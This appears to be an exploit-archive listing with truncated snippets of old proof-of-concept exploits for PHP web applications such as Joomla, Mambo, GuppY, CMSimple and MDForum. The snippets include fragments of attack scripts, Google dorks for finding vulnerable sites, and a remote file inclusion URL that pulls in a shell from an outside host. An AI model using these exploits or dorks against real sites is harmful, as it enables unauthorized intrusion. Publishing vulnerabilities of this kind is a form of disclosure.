Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal

Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal \n"; echo " php $argv0 example.org /joomla\n"; echo " php $argv0 example.org /joomla ../../\n"; exit; echo "http://" . $host . $path . "/images/stories/\n\n"; if empty$folder $lev = "./"; for $i = 0; $i = 7; $i++ echo...

Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability

No description provided by source. !--------------------------------------------------------------------------- Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC download: https://developer.skype.com/SkypeToolbars Author: irk4zatyahoo.pl homepage:...

Quicksilver Forums 1.4.1 - SQL Injection

?php / . vuln.: Quicksilver Forums 1.4.1 forums Remote SQL Injection Exploit . download: http://www.quicksilverforums.com/ . . author: irk4zatyahoo.pl . homepage: http://irk4z.wordpress.com/ . . greets: all friends ; . . this is PoC exploit / $host = $argv1; $path = $argv2; $prefix = "qsf"; // th...

Mambo 4.6.4 - 'Output.php' Remote File Inclusion

.-----------------------------------------------------------------------------. | vuln.: Mambo 12 / 13 14 requireonce$mosConfigabsolutepath . '/includes/Cache/Lite.php'; ... ^ no comment.. RFI in line 14.. exploit: http://host/path/includes/Cache/Lite/Output.php?mosConfigabsolutepath=http://shell...

CMSimple 3.1 - Local File Inclusion Arbitrary File Upload

CMSimple 3.1 - Local File Inclusion Arbitrary File Upload CMSimple 3.1 Local File Inclusion / Arbitrary File Upload download: http://www.cmsimple.org/?Downloads dork: "Powered by CMSimple" author: [email protected] homepage: http://irk4z.wordpress.com Local File Inclusion :...

phpBP <= RC3 (2.204) FIX4 Remote SQL Injection Vulnerability

No description provided by source. .-----------------------------------------------------------------------------. | vuln.: phpBP = RC3 2.204 FIX4 Remote SQL Injection Vulnerability | | download: http://www.phpbp.com/ | | dork: "PHP BP Team" | | &nbsp...

GuppY 4.6.3 - 'index.php?selskin' Remote File Inclusion

vuln.: GuppY 4.6.3 includes.inc selskin Remote File Inclusion script info and download: http://www.freeguppy.org/ dork: "Site powered by GuppY" author: irk4zatyahoo.pl greets to: str0ke, rgod, polish under : '-----------------------------------------------------------------------------' code:...

PsNews 1.1 - 'show.php?newspath' Local File Inclusion

o bug /". . . . .-' -...-'/ o o , . o -...--".\ vuln.: PsNews 1.1 show.php newspath Local File Inclusion author: [email protected] download: http://www.strefaphp.net/index.php?page=download&what=download&fid=12 dork: "Powered by PsNews" ; /news/show.php: ... iferegi"://", $newspath die"Nieautoryzowa...

Katalog Plyt Audio Index.PHP SQL注入漏洞

Katalog Plyt Audio是基于PHP的WEB应用程序。 Katalog Plyt Audio多个产品不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是'Index.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 Katalog Plyt Audio Katalog Plyt Audio 1.0 目前没有解决方案提供： http://cdaudio.ovh.org/ ? / Author: Kacper Contact: [email protected]...

MDForum <= 2.0.1 (PNSVlang) Remote Code Execution Exploit

No description provided by source. ? //Kacper & str0ke Settings $exploitname = "MDForum = 2.0.1 PNSVlang Remote Code Execution Exploit"; $scriptname = "MDForum 2.0.1"; $scriptsite = "http://www.maxdev.pl/Contents,Download,View,8.phtml"; $dork = '"Powered by MDForum"'; // print ' :::::::::...

Phaos 0.9.2 - 'basename()' Remote Command Execution

DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots : - Leito & Leon TomZen, Gelo, Ramzes, DMX,...